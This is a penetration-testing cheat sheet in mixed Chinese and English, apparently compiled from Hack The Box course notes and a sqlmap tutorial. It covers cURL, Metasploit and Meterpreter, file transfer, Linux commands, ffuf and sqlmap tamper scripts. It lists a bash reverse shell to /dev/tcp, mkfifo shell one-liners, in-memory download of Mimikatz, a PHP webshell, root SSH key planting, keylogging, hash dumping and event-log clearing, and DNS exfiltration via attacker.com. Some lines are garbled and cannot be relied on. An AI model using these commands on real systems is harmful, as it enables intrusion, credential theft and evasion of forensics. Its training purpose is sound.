备忘录

cURL

Command Description
curl -h cURL help menu
curl inlanefreight.com Basic GET request
curl -s -O inlanefreight.com/index.html Download file
curl -k https://inlanefreight.com Skip HTTPS (SSL) certificate validation
curl inlanefreight.com -v Print full HTTP request/response details
curl -I https://www.inlanefreight.com Send HEAD request (only prints response headers)
curl -i https://www.inlanefreight.com Print response headers and response body
curl https://www.inlanefreight.com -A 'Mozilla/5.0' Set User-Agent header
curl -u admin:admin http://<SERVER_IP>:<PORT>/ Set HTTP basic authorization credentials
curl http://admin:admin@<SERVER_IP>:<PORT>/ Pass HTTP basic authorization credentials in the URL
curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/ Set request header
curl 'http://<SERVER_IP>:<PORT>/search.php?search=le' Pass GET parameters
curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/ Send POST request with POST data
curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/ Set request cookies
curl -X POST -d '{"search":"london"}' -H 'Content-Type: application/json' http://<SERVER_IP>:<PORT>/search.php Send POST request with JSON data

APIs

Command Description
curl http://<SERVER_IP>:<PORT>/api.php/city/london Read entry
`curl -s http://:/api.php/city/ jq`
curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json' Create (add) entry
curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json' Update (modify) entry
curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City Delete entry

Browser DevTools

Shortcut Description
[CTRL+SHIFT+I] or [F12] Show devtools
[CTRL+SHIFT+E] Show Network tab
[CTRL+SHIFT+K]
curl http:/SERVER_IP:PORT/ cURL 获取请求
curl -s http:/SERVER_IP:PORT/ -X POST cURL 发布请求
curl -s http:/SERVER_IP:PORT/ -X POST -d "param1=sample" 包含数据的网址 POST 请求
`echo hackthebox base64`
`echo ENCODED_B64 base64 -d`
`echo hackthebox xxd -p`
`echo ENCODED_HEX xxd -p -r`
`echo hackthebox tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’`
`echo ENCODED_ROT13 tr ‘A-Za-z’ ‘N-ZA-Mn-za-m’`

Deobfuscation Websites

Website
JS Console
Prettier
Beautifier
JSNice

##文件传输

Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1 使用 PowerShell 下载文件
IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1') 使用 PowerShell 在内存中执行文件
Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64 使用 PowerShell 上传文件
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe 使用 Bitsadmin 下载文件
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe 使用 Certutil 下载文件
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh 使用 Wget 下载文件
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh 使用 cURL 下载文件
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);' 使用 PHP 下载文件
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip 使用 SCP 上传文件
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe 使用 SCP 下载文件
Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe" 使用 Chrome 用户代理的 Invoke-WebRequest

MSF

show exploits 显示框架内的所有漏洞。
show payloads 显示框架中的所有有效负载。
show auxiliary 显示框架中的所有辅助模块。
search <name> 在框架中搜索漏洞或模块。
info 加载有关特定漏洞利用或模块的信息。
use <name> 加载漏洞利用或模块(例如:使用 Windows/smb/psexec)。
use <number> 使用搜索命令后显示的索引号加载漏洞利用。
LHOST 目标可访问的本地主机 IP 地址,如果不在本地网络上,通常是公共 IP 地址。通常用于反向壳。
RHOST 远程主机或目标。set函数 设置特定值(例如,LHOST 或 RHOST)。
setg <function> 全局设置特定值(例如,LHOST 或 RHOST)。
show options 显示可用于模块或漏洞利用的选项。
show targets 显示漏洞利用支持的平台。
set target <number> 如果您知道操作系统和服务包,请指定特定的目标索引。
set payload <payload> 指定要使用的有效负载。
set payload <number> 指定要在显示有效负载命令后使用的有效负载索引号。
show advanced 显示高级选项。
set autorunscript migrate -f 漏洞利用完成后自动迁移到单独的进程。
check 确定目标是否容易受到攻击。
exploit 执行模块或利用并攻击目标。
exploit -j 在作业上下文中运行漏洞利用。(这将在后台运行漏洞利用。
exploit -z 成功利用漏洞后不要与会话交互。
exploit -e <encoder> 指定要使用的有效负载编码器(例如:exploit –e shikata_ga_nai)。
exploit -h 显示漏洞利用命令的帮助。
sessions -l 列出可用会话(在处理多个 shell 时使用)。
sessions -l -v 列出所有可用会话并显示详细字段,例如利用系统时使用了哪个漏洞。
sessions -s <script> 在所有 Meterpreter 实时会话上运行特定的 Meterpreter 脚本。
sessions -K 终止所有实时会话。
sessions -c <cmd> 在所有实时 Meterpreter 会话上执行命令。
sessions -u <sessionID> 将普通的 Win32 外壳升级到 Meterpreter 控制台。
db_create <name> 创建用于数据库驱动攻击的数据库(例如:db_create autopwn)。
db_connect <name> 创建并连接到用于驱动攻击的数据库(例如:db_connect autopwn)。
db_nmap 使用 Nmap 并将结果放入数据库中。(支持正常的 Nmap 语法,例如 –sT –v –P0。
db_destroy 删除当前数据库。
db_destroy <user:password@host:port/database> 使用高级选项删除数据库。

Linux

命令 描述
help 打开 Meterpreter 使用帮助。
run <scriptname> 运行基于 Meterpreter 的脚本;有关完整列表,请查看 scripts/meterpreter 目录。
sysinfo 显示有关受损目标的系统信息。
ls 列出目标上的文件和文件夹。
use priv 加载扩展的 Meterpreter 库的权限扩展。
ps 显示所有正在运行的进程以及与每个进程关联的帐户。
migrate <proc. id> 迁移到特定进程 ID(PID 是从 ps 命令获取的目标进程 ID)。
use incognito 加载隐身功能。(用于目标计算机上的令牌窃取和模拟。
list_tokens -u 按用户列出目标上的可用令牌。
list_tokens -g 按组列出目标上的可用令牌。
impersonate_token <DOMAIN_NAMEUSERNAME> 模拟目标上可用的令牌。
steal_token <proc. id> 窃取可用于给定进程的令牌并模拟该令牌。
drop_token 停止模拟当前令牌。
getsystem 尝试通过多个攻击媒介将权限提升为 SYSTEM 级访问权限。
shell 放入包含所有可用令牌的交互式外壳中。
execute -f <cmd.exe> -i 执行cmd.exe并与之交互。
execute -f <cmd.exe> -i -t 使用所有可用的令牌执行 cmd.exe。
execute -f <cmd.exe> -i -H -t 使用所有可用的令牌执行cmd.exe并使其成为隐藏进程。
rev2self 恢复为用于破坏目标的原始用户。
reg <command> 在目标注册表中进行交互、创建、删除、查询、设置等。
setdesktop <number> 根据登录者切换到其他屏幕。
screenshot 截取目标屏幕的屏幕截图。
upload <filename> 将文件上传到目标。
download <filename> 从目标下载文件。
keyscan_start 开始在远程目标上嗅探击键。
keyscan_dump 转储在目标上捕获的远程密钥。
keyscan_stop 停止在远程目标上嗅探击键。
getprivs 在目标上获得尽可能多的权限。
uictl enable <keyboard/mouse> 控制键盘和/或鼠标。
background 在后台运行您当前的 Meterpreter shell。
hashdump 在目标上转储所有哈希。使用嗅探器 加载嗅探器模块。
sniffer_interfaces 列出目标上的可用接口。
sniffer_dump <interfaceID> pcapname 开始在远程目标上嗅探。
sniffer_start <interfaceID> packet-buffer 从特定范围的数据包缓冲区开始嗅探。
sniffer_stats <interfaceID> 从您正在嗅探的界面中获取统计信息。
sniffer_stop <interfaceID> 停止嗅探器。
add_user <username> <password> -h <ip> 在远程目标上添加用户。
add_group_user <"Domain Admins"> <username> -h <ip> 将用户名添加到远程目标上的域管理员组。
clearev 清除目标计算机上的事件日志。
timestomp 更改文件属性,例如创建日期(反取证度量)。
reboot 重新启动目标计算机。
man <tool> 打开指定工具的手册页。
<tool> -h 打印工具的帮助页。
apropos <keyword> 在手册页的描述中搜索给定关键字的实例。
cat 连接和打印文件。
whoami 显示当前用户名。
id 返回用户标识。
hostname 设置或打印当前主机系统的名称。
uname 打印操作系统名称。
pwd 返回工作目录名称。
ifconfig 该实用程序用于为网络接口分配或查看地址和/或配置网络接口参数。ifconfig
ip Ip 是用于显示或操作路由、网络设备、接口和隧道的实用程序。
netstat 显示网络状态。
ss 另一个用于调查套接字的实用程序。
ps 显示进程状态。
who 显示登录者。
env 打印环境或设置并执行命令。
lsblk 列出块设备。
lsusb 列出 USB 设备。
lsof 列出打开的文件。
lspci 列出 PCI 设备。
sudo 以其他用户身份执行命令。
su 该实用程序通过 PAM 请求适当的用户凭证,并切换到该用户 ID(缺省用户是超级用户)。然后执行一个 shell。su
useradd 创建新用户或更新默认新用户信息。
userdel 删除用户帐户和相关文件。
usermod 修改用户帐户。
addgroup 将组添加到系统。
delgroup 从系统中删除组。
passwd 更改用户密码。
dpkg 安装、删除和配置基于 Debian 的软件包。
apt 高级包管理命令行实用工具。
aptitude 的替代项。apt
snap 安装、删除和配置快照包。
gem Ruby 的标准包管理器。
pip Python 的标准包管理器。
git 版本控制系统命令行实用程序。
systemctl 基于命令行的服务和系统控制管理器。
ps 打印当前进程的快照。
journalctl 查询系统日志。
kill 向进程发送信号。
bg 将进程置于后台。
jobs 列出在后台运行的所有进程。
fg 将进程置于前台。
curl 用于从服务器传输数据或将数据传输到服务器的命令行实用程序。
wget 另一种方法是从FTP或HTTP(s)服务器下载文件。curl
python3 -m http.server 在 TCP 端口 3 上启动 Python8000 Web 服务器。
ls 列出目录内容。
cd 更改目录。
clear 清除终端。
touch 创建一个空文件。
mkdir 创建目录。
tree 以递归方式列出目录的内容。
mv 移动或重命名文件或目录。
cp 复制文件或目录。
nano 基于终端的文本编辑器。
which 返回文件或链接的路径。
find 在目录层次结构中搜索文件。
updatedb 更新系统上现有内容的区域设置数据库。
locate 使用区域设置数据库查找系统上的内容。
more 用于读取标准输出或文件的寻呼机。
less 具有更多功能的替代方案。more
head 打印 STDOUT 的前十行或文件。
tail 打印 STDOUT 或文件的最后十行。
sort 对 STDOUT 或文件的内容进行排序。
grep 搜索包含给定模式的特定结果。
cut 从文件的每一行中删除节。
tr 替换某些字符。
column 基于命令行的实用工具,用于将其输入格式化为多个列。
awk 模式扫描和处理语言。
sed 用于筛选和转换文本的流编辑器。
wc 打印给定输入的换行符、单词和字节计数。
chmod 更改文件或目录的权限。
chown 更改文件或目录的所有者和组。

用户管理

sudo 以其他用户身份执行命令。
su 该实用程序通过 PAM 请求适当的用户凭证,并切换到该用户 ID(缺省用户是超级用户)。然后执行一个 shell。su
useradd 创建新用户或更新默认新用户信息。
userdel 删除用户帐户和相关文件。
usermod 修改用户帐户。
addgroup 将组添加到系统。
delgroup 从系统中删除组。
passwd 更改用户密码。

###包管理

dpkg 这是一个安装、构建、删除和管理 Debian 软件包的工具。主要和更用户友好的前端是能力。dpkg``dpkg
apt Apt 为包管理系统提供了一个高级命令行界面。
aptitude Aptitude 是 apt 的替代方法,是包管理器的高级接口。
snap 安装、配置、刷新和删除快照包。Snaps 支持安全分发适用于云、服务器、桌面和物联网的最新应用程序和实用程序。
gem Gem 是 RubyGems 的前端,Ruby 的标准包管理器。
pip Pip 是一个 Python 软件包安装程序,推荐用于安装 Debian 存档中不可用的 Python 软件包。它可以与版本控制存储库(目前只有 Git、Mercurial 和 Bazaar 存储库)一起使用,广泛记录输出,并通过在开始安装之前下载所有要求来防止部分安装。
git Git 是一个快速、可扩展的分布式版本控制系统,具有异常丰富的命令集,既提供高级操作,又提供对内部内容的完全访问。

基本工具

命令 描述
常规
sudo openvpn user.ovpn 连接到虚拟专用网络
ifconfig/ip a 显示我们的 IP 地址
netstat -rn 显示可通过 VPN 访问的网络
ssh user@10.10.10.10 通过 SSH 连接到远程服务器
ftp 10.129.42.253 FTP 到远程服务器
鞘鞘
tmux 启动 tmux
ctrl+b TMUX:默认前缀
prefix c TMUX:新窗口
prefix 1 TMUX:切换到窗口 (1)
prefix shift+% TMUX:垂直拆分窗格
prefix shift+" TMUX:水平拆分窗格
prefix -> TMUX:切换到右窗格
维姆
vim file VIM:使用 VIM 打开file
esc+i VIM:进入模式insert
esc VIM:返回模式normal
x vim:剪切字符
dw vim:剪切词
dd vim:切割整条线
yw vim:复制单词
yy vim:复制整行
p vim:粘贴
:1 vim:转到第 1 行。
:w vim:写入文件“即保存”
:q vim:退出
:q! vim:退出而不保存
:wq vim:写和退出

渗透测试

命令 描述
服务扫描
nmap 10.129.42.253 在 IP 上运行 nmap
nmap -sV -sC -p- 10.129.42.253 在 IP 上运行 nmap 脚本扫描
locate scripts/citrix 列出各种可用的 nmap 脚本
nmap --script smb-os-discovery.nse -p445 10.10.10.40 在 IP 上运行 nmap 脚本
netcat 10.10.10.10 22 抓取开放端口的横幅
smbclient -N -L \\\\10.129.42.253 列出中小企业共享
smbclient \\\\10.129.42.253\\users 连接到 SMB 共享
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 扫描 IP 上的 SNMP
onesixtyone -c dict.txt 10.129.42.254 暴力破解 SNMP 机密字符串
网络枚举
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt 在网站上运行目录扫描
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt 在网站上运行子域扫描
curl -IL https://www.inlanefreight.com 抓取网站横幅
whatweb 10.10.10.121 列出有关 Web 服务器/证书的详细信息
curl 10.10.10.121/robots.txt 列出潜在目录robots.txt
ctrl+U 查看页面源代码(在火狐中)
公共漏洞利用
searchsploit openssh 7.2 搜索 Web 应用程序的公共漏洞
msfconsole MSF:启动 Metasploit 框架
search exploit eternalblue MSF:在 MSF 中搜索公共漏洞
use exploit/windows/smb/ms17_010_psexec MSF:开始使用 MSF 模块
show options MSF:显示 MSF 模块所需的选项
set RHOSTS 10.10.10.40 MSF:设置 MSF 模块选项的值
check MSF:测试目标服务器是否易受攻击
exploit MSF:在目标服务器上运行漏洞易受攻击
使用外壳
nc -lvnp 1234 在本地端口上启动侦听器nc
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' 从远程服务器发送反向外壳
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/sh -i 2>&1
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1
nc 10.10.10.1 1234 连接到远程服务器上启动的绑定外壳
python -c 'import pty; pty.spawn("/bin/bash")' 升级外壳 TTY (1)
ctrl+z然后然后是两次stty raw -echo``fg``enter 升级外壳 TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php 创建一个 webshell php 文件
curl http://SERVER_IP:PORT/shell.php?cmd=id 在上传的 Web 外壳上执行命令
权限提升
./linpeas.sh 运行脚本以枚举远程服务器linpeas
sudo -l 列出可用权限sudo
sudo -u user /bin/echo Hello World! 运行命令sudo
sudo su - 切换到根用户(如果我们有权访问sudo su)
sudo su user - 切换到用户(如果我们有权访问sudo su)
ssh-keygen -f key 创建新的 SSH 密钥
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys 将生成的公钥添加到用户
ssh root@10.10.10.10 -i key 使用生成的私钥通过 SSH 连接到服务器
传输文件
python3 -m http.server 8000 启动本地网络服务器
wget http://10.10.14.1:8000/linpeas.sh 从我们的本地计算机下载远程服务器上的文件
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh 从我们的本地计算机下载远程服务器上的文件
scp linenum.sh user@remotehost:/tmp/linenum.sh 使用(需要 SSH 访问)将文件传输到远程服务器scp
base64 shell -w 0 将文件转换为base64
`echo f0VMR…SNIO…InmDwU base64 -d > shell`
md5sum shell 检查文件以确保其转换正确md5sum

备忘录

Ffuf

Command Description
ffuf -h ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/ Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Value Fuzzing

Wordlists

Command Description
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt Directory/Page Wordlist
/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt Extensions Wordlist
/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt Domain Wordlist
/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt Parameters Wordlist

Misc

Command Description
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts' Add DNS entry
for i in $(seq 1 1000); do echo $i >> ids.txt; done Create Sequence Wordlist
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded' curl w/ POST

sqlmap

SQLMAP深入分析-使用篇(基础使用、进阶命令、tamper脚本)_sqlmap tamper-CSDN博客

-v 默认为1

  • 0:只输出 Python 出错回溯信息,错误和关键信息
  • 1:增加输出普通信息和警告信息
  • 2:增加输出调试信息
  • 3:增加输出已注入的 payloads
  • 4:增加输出 HTTP 请求
  • 5:增加输出 HTTP 响应头
  • 6:增加输出 HTTP 响应内容

目标

-d #直连数据库,”mysql://root:root@192.168.0.8:3306/testdb”

-u URL

-l #从Burp代理日志文件中解析目标地址

-m #从文本文件中批量获取目标

-r #从文件中读取 HTTP 请求

-g #使用 Google dork 结果作为目标地址 python sqlmap.py -g “inurl:".php?id=1"“

-c #从 INI 配置文件中读取选项

–purge #清除历史缓存

–flush-session #清除上次扫描的缓存

指定连接时信息

–method=METHOD #强制使用提供的 HTTP 方法(例如:PUT)

–data=DATA #使用 POST 发送数据串;

–data=”id=1&user=admin”

–param-del=”;” #使用参数分隔符,–data=”id=1;user=admin”

–cookie=COOKIE #指定 HTTP Cookie ,–cookie “id=11” –level 2

–drop-set-cookie #忽略 HTTP 响应中的 Set-Cookie 参数

–user-agent=AGENT #指定 HTTP User-Agent

–random-agent #使用随机的 HTTP User-Agent,随机从 ./txt/user-agents.txt 选一个,不是每次请求换一个

–host #手动设置 HTTP Host 请求头值,默认情况下,HTTP Host 请求头从提供的目标 URL 中解析

–referer=REFERER #指定 HTTP Referer,默认情况下不会在 HTTP 请求中发送 HTTP Referer 请求头

-H HEADER #设置额外的 HTTP 头参数(例如:”X-Forwarded-For: 127.0.0.1”)

–headers=HEADERS #设置额外的 HTTP 头参数,必须以换行符分隔(例如:”Accept-Language: fr\nETag: 123”)

==–auth-type,–auth-cred==

#选项用于指定后端 Web 服务器实现的 HTTP 协议认证和所有向目标程序发起 HTTP 请求的有效凭据,支持的三种 HTTP 协议认证机制是:Basic、Digest、NTLM,认证凭据的语法是 username:password。一个符合语法的例子:$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\=1“ –auth-type Basic –auth-cred “testuser:testpass”

–auth-file #HTTP 协议私钥认证

–ignore-code #忽略(有问题的)HTTP 错误码

–proxy,–proxy-cred,–proxy-file 和 –ignore-proxy #HTTP(S) 代理,–proxy 并提供 HTTP(S) 代理地址使 HTTP(S) 请求经过该代理到达目标 URL。设置 HTTP(S) 代理的语法是 http://url:port。如果 HTTP(S) 代理需要身份验证,则可以对选项 –proxy-cred 使用 username:password 格式添加对应的凭证可以使用选项 –proxy-file 并指定包含批量代理的文件,想要使用 sqlmap 对本地局域网目标进行测试时应该使用开关 –ignore-proxy 来绕过系统级的 HTTP(S) 代理服务

–delay=10 #设置每个 HTTP 请求的延迟秒数

–safe-freq=SAFE #每访问两次给定的合法 URL 才发送一次测试请求

–csrf-token 和 –csrf-url #绕过反 CSRF 防护

–force-ssl #支持https的SQL注入只需加入参数-force-ssl告诉sqlmap这是http服务即可

–identify-waf #检测是否有WAF/IPS/IDS,这个功能以失效

–eval #在每个请求期间运行自定义的 Python 代码

指定注入参数

-p TESTPARAMETER #指定需要测试的参数

–skip=SKIP #指定要跳过的参数

–dbms=DBMS #指定 DBMS 类型(例如:MySQL)

–os=OS #指定 DBMS 服务器的操作系统类型

–prefix=PREFIX #注入 payload 的前缀字符串

–suffix=SUFFIX #注入 payload 的后缀字符串

–tamper=TAMPER #用给定脚本修改注入数据

–batch # 自动跳过选择项,按默认选项注入

指定检测级别

sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。

根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,

你可以选择自己修改指定的 payload 用于检测。

level有5级,越高检测越全,默认为 1

–level 1 检测Get和Post

–level 2 检测HTTP Cookie

–level 3 检测User-Agent和Referer

–level 4 检测

–level 5 检测 HOST 头

risk有3级,级别越高风险越大,默认为1

–risk 2 会在默认的检测上添加大量时间型盲注语句测试

–risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库

页面对比

选项:–string,–not-string,–regexp 和 –code

默认区分一个 True 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的

不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容并做好相关的处理

如果用户知道可以通过 HTTP 状态码区分 True 查询和 False 查询(例如:200 对应 True,401 对应 False),那么可以向 sqlmap 提供对应的信息。(例如:–code=200)

开关:–text-only 和 –titles

如果用户知道可以通过 HTML 标题区分 True 查询和 False 查询(例如:Welcome 对应 True,Forbidden 对应 False),那么可以使用 –titles 开启基于标题对比的开关

如果 HTTP 响应报文中存在无效信息(例如:脚本、嵌套元素等),可以通过过滤页面的内容(开关 –text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎

指定注入类型

–technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆查询注入)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注入)

例如,如果仅测试利用报错型注入和堆叠查询注入,你可以提供 ES

–time-sec=TIMESEC #设置延时注入的时间(默认为 5)

–second-order=S.. #设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)

–dns-domain

#DNS 渗出攻击# 如果用户正控制着一台注册为 DNS 域名服务器的主机(例如:域名 attacker.com),则可以使用该选项(例如:–dns-domain attacker.com)来启用此攻击。它的前提条件是使用 Administrator(即管理员)权限(因为需要使用特权端口 53)运行 sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试

枚举信息

-a, –all #获取所有信息、数据
-f, –fingerprint #采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别
-b, –banner #获取 DBMS banner,返回数据库的版本号
–current-user #获取 DBMS 当前用户
–current-db #获取 DBMS 当前数据库
–hostname #获取 DBMS 服务器的主机名
–is-dba #探测 DBMS 当前用户是否为 DBA(数据库管理员)
–users #枚举出 DBMS 所有用户
–passwords #枚举出 DBMS 所有用户的密码哈希
–privileges #枚举出 DBMS 所有用户特权级
–roles #枚举出 DBMS 所有用户角色

–dbs #枚举出 DBMS 所有数据库
–tables #枚举出 DBMS 数据库中的所有表,–exclude-sysdbs 以排除所有的系统数据库,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称
–columns #枚举出 DBMS 表中的所有列,对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名
–schema #枚举出 DBMS 所有模式
–count #获取数据表数目
–dump-all #如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目
–dump #导出 DBMS 数据库表项
–search,-C,-T,-D #此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名
–stop 10 #只取前10行数据

-D DB #指定要枚举的 DBMS 数据库
-T TBL #指定要枚举的 DBMS 数据表
-C COL #指定要枚举的 DBMS 数据列

–sql-query=QUERY #指定要执行的 SQL 语句
–sql-shell #调出交互式 SQL shell

自带tamper介绍

apostrophemask.py
功能:对引号进行 utf-8 格式编码 (% EF% BC%87)
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871

apostrophenullencode.py
功能:用非法的双 unicode 字符 (%00%27) 替换引号字符
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND %00%271%00%27=%00%271

appendnullbyte.py
功能:在有效载荷结束位置加载零字节字符编码
平台:Microsoft Access
举例:1 AND 1=1 ==> 1 AND 1=1%00

base64encode.py
功能:用 base64 格式进行编码
平台:All
举例:1’ AND SLEEP (5)# ==> MScgQU5EIFNMRUVQKDUpIw==

between.py
功能:用 between 替换大于号(>)
平台:Mssql2005、MySQL 4/5.0/5.5、Oracle 10g、PostgreSQL 8.3/8.4/9.0
举例:
1 AND A > B –  ==> 1 AND A NOT BETWEEN 0 AND B  –
1 AND A = B –  ==> 1 AND A BETWEEN B AND B –

bluecoat.py
功能:对 SQL 语句替换空格字符为 (%09),并替换”=”—>”LIKE”
平台:MySQL 5.1, SGOS
举例:SELECT username FROM users WHERE id = 1 ==> SELECT%09username FROM%09users WHERE%09id LIKE 1

apostrophemask.py
功能:用 utf-8 格式编码引号 (如:% EF% BC%87)
平台:All
举例:1 AND ‘1’=’1 ==> 1 AND % EF% BC%871% EF% BC%87=% EF% BC%871

charunicodeencode.py
功能:对字符串进行 Unicode 格式转义编码
平台:Mssql 2000,2005、MySQL 5.1.56、PostgreSQL 9.0.3 ASP/ASP.NET
举例:SELECT FIELD%20FROM TABLE ==> % u0053% u0045% u004C% u0045% u0043% u0054% u0020% u0046% u0049% u0045% u004C% u0044% u0020% u0046% u0052% u004F% u004D% u0020% u0054% u0041% u0042% u004C% u0045

charencode.py
功能:采用 url 格式编码 1 次
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT FIELD FROM%20TABLE ==> %53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

chardoubleencode.py
功能:采用 url 格式编码 2 次
平台:All
举例:SELECT FIELD FROM%20TABLE ==> %2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

commalessmid.py
功能:将 payload 中的逗号用 from 和 for 代替,用于过滤了逗号并且是 3 个参数的情况
平台:MySQL 5.0, 5.5
举例:MID (VERSION (), 1, 1) ==> MID (VERSION () FROM 1 FOR 1)

concat2concatws.py
功能:CONCAT () ==> CONCAT_WS (),用于过滤了 CONCAT () 函数的情况
平台: MySQL 5.0
举例:CONCAT (1,2) ==> CONCAT_WS (MID (CHAR (0),0,0),1,2)

equaltolike.py
功能:= ==> LIKE,用于过滤了等号”=” 的情况
平台:Mssql 2005、MySQL 4, 5.0 and 5.5
举例:SELECT * FROM users WHERE id=1 ==> SELECT * FROM users WHERE id LIKE 1

greatest.py
功能:> ==> GREATEST
平台:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:1 AND A > B ==> 1 AND GREATEST (A, B+1)=A
a 和 b+1 比较,取两者中的最大值为 a;则 a >= b+1,亦即 a > b

halfversionedmorekeywords.py
功能:空格 ==> / !0 (在关键字前添加注释)
平台:MySQL 4.0.18, 5.0.22(Mysql < 5.1)
举例:union ==> /!0union

ifnull2ifisnull.py
功能:IFNULL (A, B) ==> IF (ISNULL (A), B, A)
平台:MySQL 5.0 and 5.5
举例:IFNULL (1, 2) ==> IF (ISNULL (1),2,1)

informationschemacomment.py
功能:
在 information_schema 后面加上 // ,用于绕过对 information_schema 的情况
retVal = re.sub(r”(?i)(information_schema).”, “g<1>/ /.”, payload)
平台:All
举例:select table_name from information_schema.tables ==> select table_name from information_schema/**/.tables

lowercase.py
功能:将 payload 里的大写转为小写
平台:Mssql 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
举例:SELECT table_name FROM INFORMATION_SCHEMA.TABLES ==> select table_name from information_schema.tables

modsecurityversioned.py
功能:用注释来包围完整的查询语句,用于绕过 ModSecurity 开源 waf
平台:MySQL 5.0
举例:1 AND 2>1–  ==> 1 /!30874AND 2>1/–

